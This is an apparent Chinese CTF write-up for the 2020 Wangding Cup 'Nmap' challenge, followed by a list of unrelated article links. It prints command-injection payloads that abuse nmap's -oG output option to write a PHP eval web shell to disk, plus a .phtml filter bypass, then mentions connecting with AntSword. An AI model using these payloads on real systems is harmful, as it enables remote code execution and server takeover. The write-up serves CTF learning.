[网鼎杯 2020 朱雀组]Nmap - 码农知识堂

[网鼎杯 2020 朱雀组]Nmap
我随便输了个127.0.0.1

还有list.php 好像没什么用

昨天刚用了nmap的-oG参数

nmap常用命令

nmap详细使用教程_nmap使用教程-CSDN博客

试一下
```
' php @eval($_POST["a"]);?> -oG a.php '
```
回显

测试发现php被过滤了

文件的内容
```
'  @eval($_POST["pwd"]);?> -oG 1.phtml  '
```
上传成功了

使用蚁剑连接
相关阅读:
【学习】深度学习代码各个步骤都是为了啥（二）
Layui快速入门之第一节Layui的基本使用
 《css》- 47个不为人知的高阶操作(下篇20-47， 7K长文多图预警)
解决Python调试OSError: [WinError 193] %1 不是有效的 Win32 应用程序
 C# 给List编个序号
 wx.request请求eggjs报invalid csrf token
【计算机网络】——数据链路层(应用：介质访问控制)
js将两张图片合并成一张图片
 电脑重装系统后如何给系统磁盘扩容空间
 游戏思考25：MMORPG场景服务器作用及说明（后面会增加人物行走双端相关总结，未完待续10/20）
原文地址：https://blog.csdn.net/2202_75317918/article/details/133361227